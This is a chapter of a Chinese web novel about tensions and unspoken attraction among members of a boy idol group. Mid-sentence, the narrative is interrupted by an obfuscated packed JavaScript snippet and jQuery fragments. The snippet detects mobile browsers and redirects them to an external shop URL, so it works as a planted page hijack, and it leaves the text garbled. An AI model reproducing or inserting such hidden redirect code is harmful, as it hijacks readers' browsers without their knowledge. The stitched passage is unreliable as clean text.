一顿饭过后,大家似乎都忘了这件事。
许京殊不开心了就窝在小床上,松散的瘫着,肢体舒展。
此时门外响起敲门声。
“进。”
许京殊懒得起来。
门开了,周塑宁站在门口。他换上了家居服,手里拿着小瓶子。
抬眼望去,许京殊上半身深陷在被褥里,他只能看到毛茸茸的发顶,被子只盖到了腰间,因为乱动裤腿卷到了小腿肚,光裸的脚踝在深色床单的映衬下,更显白皙。
他慢慢走进,才发现许京殊侧身蜷缩着,被子拉到下巴,眼皮泛着淡淡的粉红,睫毛在眼下打出阴影,目光虚虚落在不远处,没有焦点。
见到他走进,他微微回神,一动不动但热情回应:“hello,周塑宁。”
周塑宁将手里的东西递给许京殊,他不动声色,没有放在一旁,特意没有伸直手臂。
许京殊看到是一个白色的小瓶子,好奇是什么东西,他掀起被子,坐起身,微微仰头去接过来。
周塑宁居高临下,虽然他比许京殊高半个头,但他从未这个角度看过他。
他算是知道,许京殊为什么这么多泥塑粉了。
许京殊面对队友们从来都是一副毫无防备的柔和,这个高度给了周塑宁一种奇异的特权,他的目光牢牢锁在他的脸上。
许京殊仰头的动作将他的脸完整的展露出来,杏眼完全的睁开,瞳孔清晰的印出了他的倒影,睫毛完全舒展开来,根根分明的翘着,嘴巴微微分开,唇色是天然的绯红。
周塑宁贪婪的看着。
许京殊接过,是一小瓶舒缓肌肉的药膏,带着淡淡的药草香。
“这个,涂手腕的。”
许京殊低头看着自己的手腕,确实,有些地方有淡淡的红痕,不仅仅是手腕,还有别的地方。他自己都没注意到。
他忽然会想起粉丝说过的话,他的皮肤很娇嫩,带点稍微重一点的项链都会在胸口留下红痕。
“谢谢四哥。”许京殊拧开盖子,挖了一点药膏涂在手腕上,一股清凉的触感缓解了细微的刺痛。
呜呜呜队友太好了怎么办,好幸福,该死的私生还要过来挑拨离间。
许京殊暗暗唾骂那个人。
“来,抱一下表示我的感谢。”许京殊将药瓶放到旁边的柜子上,伸手给了周塑宁一个大大的拥抱。
周塑宁反应不及,被抱了个满怀,他全身僵硬,感受着怀里的温度,刚想将手搭在他的背上,这个短暂的拥抱就已经结束了。
他不知道自己是怎么出的许京殊的房间门,当门关上的那一刻,他脑子里还在懊悔,为什么刚刚没有抱回去。
周塑宁背靠着房门站了好一会儿,才慢慢直起身。他深呼一口气,正要转身回房。
他抬头,看到陈醒松整个人站在黑暗里,静静的看着他,他背靠着墙,双手插在裤兜里,平时的吊儿郎当已经尽数消失,脸上的表情晦暗不明,看到他出来也没有打招呼。
他看到了?那又如何。
周塑宁没说话,只是站在那里,用同样的目光回视陈醒松。
黑暗里,两个高大的身影就这样无声对峙,直到屋子里发出其他动静。
苏凌羽的房门突然打开。
“你们干什么呢?在这堵着。”苏凌羽揉着眼睛走出来,被门口两个人影吓了一跳。
他看看周塑宁,又看看陈醒松,满脸困惑:“你们两个在这儿当门神呢?”
陈醒松先以开眼,耸耸肩,恢复了平时那副漫不经心的样子:“我上厕所刚回来。”
他口袋里握着药膏的手收紧了一下然后放松,将双手抽出口袋,转身回房。
周塑宁也收回目光,对苏凌羽点了点头:“这就回。”
两人一前一后各自回房,走廊空旷,苏凌羽站在原地挠了挠头,总觉得哪里不对劲,但又说不上来,满头雾水的走向洗手间。
许京殊很烦,他发现自己的好朋友陈醒松这两天怪怪的。
虽然还是事事在一起,但就是不一样了。
比如说。
昨天吃早饭的时候陈醒松突然说:“对了京殊,我们俩昨天那个猫狗合照你看不看,我要把它设置为我们两个的聊天背景,粉丝拍的特别有氛围感。”
“看看嘛,真的可爱。”陈醒松说着就要拿手机。
“不要。”许京殊立刻摇头拒绝。
陈醒松动作顿住,看了他一眼,然后耸耸肩:“行吧,不看就不看。”
这本来是很正常的对话。可许京殊就是觉得哪里不对。
陈醒松平时绝不会这么容易放弃,他会死缠烂打,会直接把手机怼到他面前,会笑嘻嘻地说“不看也得看”。
可现在,他居然就这么算了?
许京殊抬眼看向陈醒松,陈醒松正低头喝粥,没什么表情,注意到他的视线,陈醒松抬起头,对他笑了一下,似乎又没什么异常。
练习的时候更明显。之前陈醒松总爱跟他打情骂俏,要么击掌时故意用力,要么错身时撞他肩膀,要么做完动作后还要搂着他脖子晃两下。许京殊虽然每次都骂他,但其实早就习惯了这种打打闹闹的互动。
可这次,陈醒松做得规规矩矩。
连编舞老师都忍不住夸他:“陈醒松今天状态不错啊,今天怎么回事做的那么标准。”
在许京殊因为踩空踉跄了一下后,陈醒松下意识往他这边走了一步,可惜周塑宁反应更快,环抱着许京殊,支撑了他一下。
陈醒松眼里透着不爽,看了两秒之后转身。
“没事吧?”周塑宁关心的询问。
许京殊没什么心思,随便说了句:“没事没事。”
眼神放在陈醒松的背影上,有些失落。
居然不关心他。
虽然他们团队成员之间关系都不错,但也是有远近亲疏的。
他的好朋友他还不知道吗!
就是有问题。
休息时,许京殊走到陈醒松旁边坐下:“你今天怎么了?”
陈醒松低头闭眼,头也不抬:“什么怎么了?”
许京殊想了想:“你好像不太对劲,是不舒服吗?”
陈醒松抬起头,带着标准的笑容:“没有啊,我很好。就是昨天有点累,今天想认真点练。”
说完,陈醒松站起来走到一边拿水喝,背对着他。
他说得很轻松,可许京殊就是觉得假。
“你俩吵架了?”苏凌羽凑过来小声问。
许京殊摇头:“没有啊。”
“那他怎么……”苏凌羽看了眼陈醒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998214|193093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
松的背影,“怪怪的。”
许京殊没说话。他拧开水瓶喝了口水,但压不住他的烦躁。
他知道陈醒松在闹别扭,可他不知道原因。
他们从来没有这样过,他刚入团的时候,是陈醒松注意到刚来到陌生环境社恐的他,教他如何与人相处,教他怎么克服恐惧。在他被全网黑的时候整日整夜的陪着他怕他精神崩溃,那段时间他不敢跟父母倾述,全靠陈醒松的陪伴。
虽然两人平日里的相处在外人看来他都是主导的那一方,事实上是他离不开陈醒松。在他心里,陈醒松绝对是他最好的朋友。
这种别扭已经持续两天了,许京殊决定和他聊聊天。
他看着坐在沙发上打游戏的陈醒松,屏幕上特效的光快速的闪烁,打在他脸上。
许京殊走过去,在他旁边坐下。
陈醒松没有看他,手指在快速操作。
不过他的注意力在许京殊过来那一刻就已经不在游戏上了。
许京殊看了他一会儿,然后伸手,将他手上的手机拿过来,锁屏,丢在一边。
没有任何阻力,很轻松的就从一个战况激烈的打游戏的人手中将手机拿走。
陈醒松动作顿住,终于可以转头看他。
两人对视。
“陈醒松。”许京殊开口,冷静道,“我们谈谈。”
“谈什么?”
“谈你为什么躲我,为什么那么奇怪。”
陈醒松扯了扯嘴角:“我哪有躲你。”
许京殊盯着他:“你有,陈醒松,别把我当傻子。”
“许京殊。”陈醒松看他,眼里有许京殊看不懂的情绪。
他叫的很正式,许京殊愣了一下。
“我的意思是,也许我们应该长大了,我不能再像小孩子一样打打闹闹了,我也不是你的谁,没资格老是粘着你。我知道以前你都是在忍耐我的脾气,我不想老是因为我让你被骂了。”
他的话字字句句都是为他好的意思,但是许京殊感觉眼眶发热,莫名其妙的。
“你到底在说什么?谁说你不可以了,干嘛因为别的事情影响我们的关系。我们打打闹闹怎么了,什么叫没资格?陈醒松你是不是因为我老是拒绝你生气了,那我以后不这样了,我……”许京殊声音有些发抖,他以为是昨天拒绝陈醒松他生气了。
“许京殊你找我还有其他的事情吗?没有的话我去洗澡了,你也早点休息。”陈醒松起身拿过刚刚被丢到一边的手机,头也不回的回了房间。
许京殊主动发起的谈话被强制中断,解决了0个问题。
他一个人坐在沙发上,很久没动。
队内成员吵架,其他人在不明原因之前也不敢说什么,气氛有些低迷。
苏凌羽在听不到客厅的声音之后探头出来观察战况,背地里跟队长发信息求助。
周塑宁非常清楚两人之间的信息差,但是如果跟许京殊讲明白的话对他没有任何好处,他默不作声,心里暗暗期盼,虽然很不道德,但是那又怎么样。
他木着脸,安静的坐在门口的地板上,一条腿屈起,手肘随意的搭在膝头,另一条腿舒展。
直到他听到外面传来苏凌羽的安慰声和许京殊因为有人安慰控制不住的轻轻的啜泣声。
他哭了?